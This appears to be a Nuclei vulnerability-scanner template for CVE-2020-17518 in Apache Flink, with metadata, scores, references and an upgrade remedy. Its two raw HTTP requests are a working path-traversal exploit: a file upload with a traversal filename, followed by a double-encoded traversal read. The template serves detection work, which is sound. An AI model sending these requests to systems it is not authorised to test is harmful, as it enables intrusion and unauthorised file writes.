53 lines
2.2 KiB
YAML
53 lines
2.2 KiB
YAML
id: CVE-2020-17518
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info:
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name: Apache Flink 1.5.1 - Local File Inclusion
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author: pdteam
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severity: high
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description: |
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Apache Flink 1.5.1 is vulnerable to local file inclusion because of a REST handler that allows file uploads to an arbitrary location on the local file system through a maliciously modified HTTP HEADER.
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remediation: |
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Upgrade Apache Flink to a version that is not affected by the vulnerability (1.5.2 or later).
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reference:
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- https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
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- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E
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- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cuser.flink.apache.org%3E
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- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cdev.flink.apache.org%3E
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- https://nvd.nist.gov/vuln/detail/CVE-2020-17518
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
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cvss-score: 7.5
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cve-id: CVE-2020-17518
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cwe-id: CWE-22,CWE-23
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epss-score: 0.86271
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epss-percentile: 0.98268
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cpe: cpe:2.3:a:apache:flink:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: apache
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product: flink
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tags: lfi,flink,fileupload,vulhub,cve,cve2020,apache,intrusive
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http:
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- raw:
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- |
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POST /jars/upload HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
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------WebKitFormBoundaryoZ8meKnrrso89R6Y
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Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"
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{{randstr}}
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------WebKitFormBoundaryoZ8meKnrrso89R6Y--
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- |
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GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc HTTP/1.1
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_2, "{{randstr}}") && status_code == 200'
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# digest: 4a0a00473045022100945e1bf38aeb3329a11995d36eff913bb1590b651790585caa2315b4ee52946b02204fbee2ac3fc3e8011bfd8a9b896b6b1555294233048699a55633bd5963868136:922c64590222798bb761d5b6d8e72950
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